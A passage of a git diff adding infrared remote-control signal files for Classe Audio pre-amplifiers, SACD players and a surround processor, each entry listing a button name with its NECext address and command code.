00 00 00 +command: 11 00 00 00 +# +name: A_LEFT_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: A_LEFT_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: A_DOWN_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: A_DOWN_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: A_LINE4_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: A_LINE4_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: A_REG4_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: A_REG4_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: A_LINE3_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: A_LINE3_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: A_REG3_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: A_REG3_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: A_LINE2_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: A_LINE2_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: A_REG2_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: A_REG2_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: A_LINE1_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: A_LINE1_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: A_REG1_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: A_REG1_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: A_SRS_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: A_SRS_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: A_TAPE_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: A_TAPE_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: A_BAL2_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: A_BAL2_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: A_BAL1_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: A_BAL1_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: A_GAIN_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: A_GAIN_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: A_PHASE_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: A_PHASE_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: A_BAL3_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2A 00 00 00 +# +name: A_BAL3_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2A 00 00 00 +# +name: A_OUTPUT_T0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2B 00 00 00 +# +name: A_OUTPUT_T1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir new file mode 100644 index 000000000..d03e9301b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: DISPLAY_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: DISPLAY_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: DISP_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: DISP_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: STDBY_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: STDBY_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: ENTER_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: ENTER_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: MENU_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: MENU_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: UP_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: UP_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: BAL_R_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BAL_R_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: RIGHT_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: RIGHT_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BALANCE_R_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BALANCE_R_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BAL_L_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BAL_L_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: LEFT_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: LEFT_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BALANCE_L_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BALANCE_L_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: DOWN_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: DOWN_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: LINE4_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: LINE4_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: REG4_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: REG4_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: LINE3_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: LINE3_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: REG3_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: REG3_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: LINE2_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: LINE2_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: REG2_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: REG2_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: LINE1_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: LINE1_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: REG1_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: REG1_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: SRS_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: SRS_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: TAPE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: TAPE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: BAL2_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: BAL2_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: BAL1_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: BAL1_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: GAIN_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: GAIN_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: PHASE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: PHASE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: BAL3_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: BAL3_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: OUTPUT_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: OUTPUT_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir new file mode 100644 index 000000000..6f7a7b238 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir @@ -0,0 +1,434 @@ +Filetype: IR signals file +Version: 1 +# +name: 0_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 0_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 1_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 2_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 3_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 4_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 5_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 6_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 7_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 8_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: 9_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: >10_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: >10_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: DISP_ON/OFF_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: DISP_ON/OFF_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: SRC_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: SRC_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: SAMPLE_RATE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: SAMPLE_RATE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: DISP_TIME_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: DISP_TIME_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: INPUT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: INPUT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: LOAD_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: LOAD_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: CHECK_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: CHECK_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: CONT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1B 00 00 00 +# +name: CONT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1B 00 00 00 +# +name: SHUFFLE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: NEXT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: NEXT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: PREV_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PREV_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: INDEX>_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: INDEX>_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: >_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: >>_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: PLAY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: STOP_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: STOP_T2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: STOP_T3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: CLEAR_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3A 00 00 00 +# +name: CLEAR_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3A 00 00 00 +# +name: A-B_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 +# +name: A-B_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir new file mode 100644 index 000000000..e21aac456 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir new file mode 100644 index 000000000..047973026 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir @@ -0,0 +1,1046 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_MON_TOGGLE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 01 00 00 00 +# +name: TAPE_MON_TOGGLE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 01 00 00 00 +# +name: INPUT1_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 02 00 00 00 +# +name: INPUT1_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 02 00 00 00 +# +name: INPUT2_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 03 00 00 00 +# +name: INPUT2_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 03 00 00 00 +# +name: INPUT3_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 04 00 00 00 +# +name: INPUT3_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 04 00 00 00 +# +name: INPUT4_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 05 00 00 00 +# +name: INPUT4_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 05 00 00 00 +# +name: INPUT5_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 06 00 00 00 +# +name: INPUT5_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 06 00 00 00 +# +name: INPUT6_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 07 00 00 00 +# +name: INPUT6_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 07 00 00 00 +# +name: INPUT7_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 08 00 00 00 +# +name: INPUT7_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 08 00 00 00 +# +name: INPUT8_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 09 00 00 00 +# +name: INPUT8_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 09 00 00 00 +# +name: INPUT_UP_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0A 00 00 00 +# +name: INPUT_UP_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0A 00 00 00 +# +name: INPUT_DOWN_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0B 00 00 00 +# +name: INPUT_DOWN_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0B 00 00 00 +# +name: STANDBY_TOGGLE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY_TOGGLE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0C 00 00 00 +# +name: INFO_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0E 00 00 00 +# +name: INFO_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0E 00 00 00 +# +name: DISPLAY_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 0F 00 00 00 +# +name: THX_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 12 00 00 00 +# +name: THX_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 12 00 00 00 +# +name: LATE_NIGHT_TOGGLE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 13 00 00 00 +# +name: LATE_NIGHT_TOGGLE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 13 00 00 00 +# +name: ZONE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 14 00 00 00 +# +name: ZONE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 14 00 00 00 +# +name: TRIM_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 15 00 00 00 +# +name: TRIM_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 15 00 00 00 +# +name: MODE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 44 00 00 00 +# +name: MODE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 44 00 00 00 +# +name: MENU_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 54 00 00 00 +# +name: MENU_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 54 00 00 00 +# +name: HOME_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 55 00 00 00 +# +name: HOME_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 55 00 00 00 +# +name: NAVIGATE_UP_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 58 00 00 00 +# +name: NAVIGATE_UP_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 58 00 00 00 +# +name: NAVIGATE_DOWN_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 59 00 00 00 +# +name: NAVIGATE_DOWN_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 59 00 00 00 +# +name: NAVIGATE_LEFT_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 5A 00 00 00 +# +name: NAVIGATE_LEFT_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 5A 00 00 00 +# +name: NAVIGATE_RIGHT_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 5B 00 00 00 +# +name: NAVIGATE_RIGHT_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 5B 00 00 00 +# +name: ENTER_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 5C 00 00 00 +# +name: ENTER_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 5C 00 00 00 +# +name: INPUT9_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 78 00 00 00 +# +name: INPUT9_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 78 00 00 00 +# +name: INPUT10_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 79 00 00 00 +# +name: INPUT10_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 79 00 00 00 +# +name: INPUT11_(7.1)_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 7A 00 00 00 +# +name: INPUT11_(7.1)_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 7A 00 00 00 +# +name: INPUT12_(TAPE)_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 7B 00 00 00 +# +name: INPUT12_(TAPE)_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 7B 00 00 00 +# +name: ZONE_MUTE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 91 00 00 00 +# +name: ZONE_MUTE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 91 00 00 00 +# +name: ZONE_UNMUTE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 92 00 00 00 +# +name: ZONE_UNMUTE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 92 00 00 00 +# +name: ZONE_MUTE_TOGGLE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 93 00 00 00 +# +name: ZONE_MUTE_TOGGLE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 93 00 00 00 +# +name: ZONE_VOL_UP_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 94 00 00 00 +# +name: ZONE_VOL_UP_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 94 00 00 00 +# +name: ZONE_VOL_DOWN_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 95 00 00 00 +# +name: ZONE_VOL_DOWN_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 95 00 00 00 +# +name: OPERATE_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 96 00 00 00 +# +name: OPERATE_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 96 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 97 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 97 00 00 00 +# +name: TAPE_MON_ON_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9A 00 00 00 +# +name: TAPE_MON_ON_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9A 00 00 00 +# +name: TAPE_MON_OFF_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9B 00 00 00 +# +name: TAPE_MON_OFF_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9B 00 00 00 +# +name: THX_ON_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9C 00 00 00 +# +name: THX_ON_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9C 00 00 00 +# +name: THX_OFF_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9D 00 00 00 +# +name: THX_OFF_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: 9D 00 00 00 +# +name: LATE_NIGHT_ON_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A0 00 00 00 +# +name: LATE_NIGHT_ON_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A0 00 00 00 +# +name: LATE_NIGHT_OFF_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A1 00 00 00 +# +name: LATE_NIGHT_OFF_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A1 00 00 00 +# +name: TRIM_FRONT_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A2 00 00 00 +# +name: TRIM_FRONT_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A2 00 00 00 +# +name: TRIM_CENTER_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A3 00 00 00 +# +name: TRIM_CENTER_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A3 00 00 00 +# +name: TRIM_SURR_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A4 00 00 00 +# +name: TRIM_SURR_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A4 00 00 00 +# +name: TRIM_SUB_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A5 00 00 00 +# +name: TRIM_SUB_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A5 00 00 00 +# +name: ZONE_INPUT_1_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A9 00 00 00 +# +name: ZONE_INPUT_1_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: A9 00 00 00 +# +name: ZONE_INPUT_2_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AA 00 00 00 +# +name: ZONE_INPUT_2_T1 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AA 00 00 00 +# +name: ZONE_INPUT_3_T0 +type: parsed +protocol: NECext +address: 74 00 00 00 +command: AB 00 00 00 +# +name: ZONE_INPUT_3_T1 +type: parsed +protocol: NECext +address: 